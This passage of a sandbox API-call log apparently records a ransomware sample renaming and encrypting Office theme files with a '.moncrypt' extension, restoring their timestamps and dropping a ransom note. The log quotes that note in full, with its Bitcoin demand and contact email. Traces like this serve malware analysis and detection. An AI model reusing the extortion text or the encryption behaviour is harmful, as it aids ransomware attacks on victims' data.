0x4 [0051.043] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngShared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpUsedDefaultChar=0x0) returned 4 [0051.043] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x74e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0x54e240 [0051.043] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0051.043] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0051.043] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0051.043] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", dwFileAttributes=0x20) returned 1 [0051.044] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0051.044] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png.moncrypt")) returned 1 [0051.044] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.044] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0051.044] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x74e5 [0051.044] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0051.044] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0051.046] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.046] GlobalLock (hMem=0x440004) returned 0x55bb88 [0051.047] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0051.047] GlobalUnlock (hMem=0x440004) returned 0 [0051.047] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0051.047] GlobalLock (hMem=0x440004) returned 0x55bb88 [0051.047] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0051.047] GlobalUnlock (hMem=0x440004) returned 0 [0051.047] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0051.047] GlobalLock (hMem=0x440004) returned 0x55bb88 [0051.047] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.047] GlobalUnlock (hMem=0x44000c) returned 0 [0051.047] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0051.047] GlobalUnlock (hMem=0x440004) returned 0 [0051.047] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.047] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.047] GlobalUnlock (hMem=0x440004) returned 0 [0051.047] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0051.047] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.047] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.047] GlobalUnlock (hMem=0x440004) returned 0 [0051.047] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0051.047] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0051.047] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0051.047] SetFilePointer (in: hFile=0x18c, lDistanceToMove=29925, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x74e5 [0051.047] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0051.048] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0051.048] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d78*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d78*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0051.058] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0051.058] CloseHandle (hObject=0x18c) returned 1 [0051.059] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.059] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0051.059] CloseHandle (hObject=0x18c) returned 1 [0051.059] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.moncrypt", dwFileAttributes=0x20) returned 1 [0051.060] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0051.060] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.060] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.060] GlobalUnlock (hMem=0x440004) returned 0 [0051.060] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.060] GlobalLock (hMem=0x44000c) returned 0x557b88 [0051.060] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.060] GlobalUnlock (hMem=0x440004) returned 0 [0051.060] GlobalHandle (pMem=0x557b88) returned 0x44000c [0051.060] GlobalUnlock (hMem=0x44000c) returned 0 [0051.060] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0051.060] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3faa7260, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3faa7260, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3faa7260, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0051.060] FileTimeToLocalFileTime (in: lpFileTime=0x18e7f0, lpLocalFileTime=0x18e770 | out: lpLocalFileTime=0x18e770) returned 1 [0051.060] FileTimeToDosDateTime (in: lpFileTime=0x18e770, lpFatDate=0x18e7be, lpFatTime=0x18e7bc | out: lpFatDate=0x18e7be, lpFatTime=0x18e7bc) returned 1 [0051.060] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0051.060] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.061] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0051.061] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0051.061] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0051.061] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0051.061] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0051.061] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0051.061] ReadFile (in: hFile=0x18c, lpBuffer=0x1dccd48, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e9e8, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesRead=0x18e9e8*=0x649, lpOverlapped=0x0) returned 1 [0051.061] CloseHandle (hObject=0x18c) returned 1 [0051.061] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x74e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0051.061] GetLastError () returned 0x12 [0051.061] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0051.061] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.061] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.061] GlobalUnlock (hMem=0x44000c) returned 0 [0051.061] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.061] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.061] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.062] GlobalUnlock (hMem=0x44000c) returned 0 [0051.062] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.062] GlobalUnlock (hMem=0x440004) returned 0 [0051.062] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3faa7260, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3faa7260, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0051.062] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0051.062] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.062] GlobalLock (hMem=0x440004) returned 0x550170 [0051.062] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.062] GlobalUnlock (hMem=0x440004) returned 0 [0051.062] GlobalLock (hMem=0x440004) returned 0x550170 [0051.062] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.062] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.062] GlobalUnlock (hMem=0x440004) returned 0 [0051.062] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.062] GlobalUnlock (hMem=0x44000c) returned 0 [0051.062] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.062] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3faa7260, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3faa7260, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.062] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.062] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.062] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.062] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.062] GlobalUnlock (hMem=0x44000c) returned 0 [0051.062] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.062] GlobalLock (hMem=0x440004) returned 0x557b88 [0051.062] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.063] GlobalUnlock (hMem=0x44000c) returned 0 [0051.063] GlobalHandle (pMem=0x557b88) returned 0x440004 [0051.063] GlobalUnlock (hMem=0x440004) returned 0 [0051.063] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.063] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecb88f00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x603362b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xecb88f00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xe27f, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAPSULES.ELM.moncrypt", cAlternateFileName="CAPSUL~1.MON")) returned 1 [0051.063] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.063] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.063] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.063] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.063] GlobalUnlock (hMem=0x440004) returned 0 [0051.063] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.063] GlobalLock (hMem=0x44000c) returned 0x557b88 [0051.063] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.063] GlobalUnlock (hMem=0x440004) returned 0 [0051.063] GlobalHandle (pMem=0x557b88) returned 0x44000c [0051.063] GlobalUnlock (hMem=0x44000c) returned 0 [0051.063] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.063] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf86a7300, ftCreationTime.dwHighDateTime=0x1c47827, ftLastAccessTime.dwLowDateTime=0x51c2ab50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf86a7300, ftLastWriteTime.dwHighDateTime=0x1c47827, nFileSizeHigh=0x0, nFileSizeLow=0x1f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAPSULES.INF", cAlternateFileName="")) returned 1 [0051.063] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.063] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.063] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.063] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.063] GlobalUnlock (hMem=0x44000c) returned 0 [0051.063] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.063] GlobalLock (hMem=0x440004) returned 0x557b88 [0051.063] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.063] GlobalUnlock (hMem=0x44000c) returned 0 [0051.063] GlobalHandle (pMem=0x557b88) returned 0x440004 [0051.063] GlobalUnlock (hMem=0x440004) returned 0 [0051.063] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.064] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3faa7260, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3faa7260, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3faa7260, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0051.064] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.064] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.064] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.064] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.064] GlobalUnlock (hMem=0x440004) returned 0 [0051.064] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.064] GlobalLock (hMem=0x44000c) returned 0x557b88 [0051.064] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.064] GlobalUnlock (hMem=0x440004) returned 0 [0051.064] GlobalHandle (pMem=0x557b88) returned 0x44000c [0051.064] GlobalUnlock (hMem=0x44000c) returned 0 [0051.064] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.064] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0051.064] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.064] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.064] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.064] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.064] GlobalUnlock (hMem=0x44000c) returned 0 [0051.064] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.064] GlobalLock (hMem=0x440004) returned 0x557b88 [0051.064] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.064] GlobalUnlock (hMem=0x44000c) returned 0 [0051.064] GlobalHandle (pMem=0x557b88) returned 0x440004 [0051.064] GlobalUnlock (hMem=0x440004) returned 0 [0051.064] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.064] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x75aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 1 [0051.065] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.065] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.065] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.065] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.065] GlobalUnlock (hMem=0x440004) returned 0 [0051.065] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.065] GlobalLock (hMem=0x44000c) returned 0x557b88 [0051.065] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.065] GlobalUnlock (hMem=0x440004) returned 0 [0051.065] GlobalHandle (pMem=0x557b88) returned 0x44000c [0051.065] GlobalUnlock (hMem=0x44000c) returned 0 [0051.065] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.065] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x75aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 0 [0051.065] GetLastError () returned 0x12 [0051.065] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0051.065] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CASCADE", cAlternateFileName="")) returned 1 [0051.065] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0051.065] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0051.065] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.066] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.066] GlobalUnlock (hMem=0x44000c) returned 0 [0051.066] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.066] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.066] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.066] GlobalUnlock (hMem=0x44000c) returned 0 [0051.066] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.066] GlobalUnlock (hMem=0x440004) returned 0 [0051.066] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.066] GlobalLock (hMem=0x440004) returned 0x550170 [0051.066] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.066] GlobalUnlock (hMem=0x440004) returned 0 [0051.066] GlobalLock (hMem=0x440004) returned 0x550170 